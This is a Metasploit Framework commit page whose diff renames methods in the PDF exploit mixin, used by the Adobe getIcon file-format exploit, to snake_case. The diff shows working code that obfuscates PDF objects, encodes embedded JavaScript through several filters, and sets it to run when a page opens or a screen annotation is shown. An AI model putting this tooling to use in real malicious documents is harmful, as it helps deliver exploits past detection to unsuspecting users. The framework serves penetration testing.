infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Land #4531, Msf::Exploit::PDF method name fix

bug/bundler_fix sprint-F09
William Vu 2015-01-06 14:26:58 -06:00
parent 0bece137c1 609c490b3c
commit fee49b0b85
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
2 changed files with 31 additions and 31 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

60
lib/msf/core/exploit/pdf.rb
View File

@ -30,7 +30,7 @@ module Exploit::PDF
#Original Filters #Original Filters
## ##
def ASCIIHexWhitespaceEncode(str) def ascii_hex_whitespace_encode(str)
return str if not datastore['PDF::Obfuscate'] return str if not datastore['PDF::Obfuscate']
result = "" result = ""
whitespace = "" whitespace = ""
@ -44,7 +44,7 @@ module Exploit::PDF
## ##
#Filters from Origami parser #Filters from Origami parser
## ##
def RunLengthEncode(stream) def run_length_encode(stream)
eod = 128 eod = 128
result = "" result = ""
i = 0 i = 0
@ -85,7 +85,7 @@ module Exploit::PDF
result << eod.chr result << eod.chr
end end
def RandomNonASCIIString(count) def random_non_ascii_string(count)
result = "" result = ""
count.times do count.times do
result << (rand(128) + 128).chr result << (rand(128) + 128).chr
@ -93,7 +93,7 @@ module Exploit::PDF
result result
end end
def ASCII85Encode(stream) def ascii85_encode(stream)
eod = "~>" eod = "~>"
i = 0 i = 0
code = "" code = ""
@ -130,7 +130,7 @@ module Exploit::PDF
end end
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ # http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
def nObfu(str) def nobfu(str)
return str if not datastore['PDF::Obfuscate'] return str if not datastore['PDF::Obfuscate']
result = "" result = ""
@ -149,13 +149,13 @@ module Exploit::PDF
## ##
def header(version = '1.5') def header(version = '1.5')
hdr = "%PDF-#{version}" << eol hdr = "%PDF-#{version}" << eol
hdr << "%" << RandomNonASCIIString(4) << eol hdr << "%" << random_non_ascii_string(4) << eol
hdr hdr
end end
def add_object(num, data) def add_object(num, data)
@xref[num] = @pdf.length @xref[num] = @pdf.length
@pdf << ioDef(num) @pdf << io_def(num)
@pdf << data @pdf << data
@pdf << endobj @pdf << endobj
end end
@ -186,7 +186,7 @@ module Exploit::PDF
end end
def trailer(root_obj) def trailer(root_obj)
ret = "trailer" << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj) << ">>" << eol ret = "trailer" << nobfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) << ">>" << eol
ret ret
end end
@ -209,18 +209,18 @@ module Exploit::PDF
"endobj" << eol "endobj" << eol
end end
def ioDef(id) def io_def(id)
"%d 0 obj" % id "%d 0 obj" % id
end end
def ioRef(id) def io_ref(id)
"%d 0 R" % id "%d 0 R" % id
end end
## ##
#Controller funtion, should be entrypoint for pdf exploits #Controller funtion, should be entrypoint for pdf exploits
## ##
def CreatePDF(js) def create_pdf(js)
strFilter = "" strFilter = ""
arrResults = [] arrResults = []
numIterations = 0 numIterations = 0
@ -233,10 +233,10 @@ module Exploit::PDF
end end
for i in (0..numIterations-1) for i in (0..numIterations-1)
if i == 0 if i == 0
arrResults = SelectEncoder(js,arrEncodings[i],strFilter) arrResults = select_encoder(js,arrEncodings[i],strFilter)
next next
end end
arrResults = SelectEncoder(arrResults[0],arrEncodings[i],arrResults[1]) arrResults = select_encoder(arrResults[0],arrEncodings[i],arrResults[1])
end end
case datastore['PDF::Method'] case datastore['PDF::Method']
when 'PAGE' when 'PAGE'
@ -251,19 +251,19 @@ module Exploit::PDF
## ##
#Select an encoder and build a filter specification #Select an encoder and build a filter specification
## ##
def SelectEncoder(js,strEncode,strFilter) def select_encoder(js,strEncode,strFilter)
case strEncode case strEncode
when 'ASCII85' when 'ASCII85'
js = ASCII85Encode(js) js = ascii85_encode(js)
strFilter = "/ASCII85Decode"<<strFilter strFilter = "/ASCII85Decode"<<strFilter
when 'ASCIIHEX' when 'ASCIIHEX'
js = ASCIIHexWhitespaceEncode(js) js = ascii_hex_whitespace_encode(js)
strFilter = "/ASCIIHexDecode"<<strFilter strFilter = "/ASCIIHexDecode"<<strFilter
when 'FLATE' when 'FLATE'
js = Zlib::Deflate.deflate(js) js = Zlib::Deflate.deflate(js)
strFilter = "/FlateDecode"<<strFilter strFilter = "/FlateDecode"<<strFilter
when 'RUN' when 'RUN'
js = RunLengthEncode(js) js = run_length_encode(js)
strFilter = "/RunLengthDecode"<<strFilter strFilter = "/RunLengthDecode"<<strFilter
end end
return js,strFilter return js,strFilter
@ -277,10 +277,10 @@ module Exploit::PDF
@pdf = '' @pdf = ''
@pdf << header @pdf << header
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>") add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
add_object(2, nObfu("<</Type/Outlines/Count 0>>")) add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>")) add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>")) add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
compressed = js compressed = js
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
stream << "stream" << eol stream << "stream" << eol
@ -301,10 +301,10 @@ module Exploit::PDF
@pdf << header @pdf << header
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>") add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
add_object(2, nObfu("<</Type/Outlines/Count 0>>")) add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>")) add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>")) add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
compressed = js compressed = js
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
stream << "stream" << eol stream << "stream" << eol
@ -324,11 +324,11 @@ module Exploit::PDF
@pdf << header @pdf << header
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>") add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
add_object(2, nObfu("<</Type/Outlines/Count 0>>")) add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>")) add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /Annots [") << ioRef(5) << nObfu("]>>")) add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /Annots [") << io_ref(5) << nobfu("]>>"))
add_object(5, nObfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << ioRef(6) << nObfu("/S /JavaScript >>>>>>")) add_object(5, nobfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nobfu("/S /JavaScript >>>>>>"))
compressed = js compressed = js
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
stream << "stream" << eol stream << "stream" << eol

2
modules/exploits/windows/fileformat/adobe_geticon.rb
View File

@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Create the pdf # Create the pdf
#pdf = make_pdf(script) #pdf = make_pdf(script)
pdf = CreatePDF(script) pdf = create_pdf(script)
print_status("Creating '#{datastore['FILENAME']}' file...") print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pdf) file_create(pdf)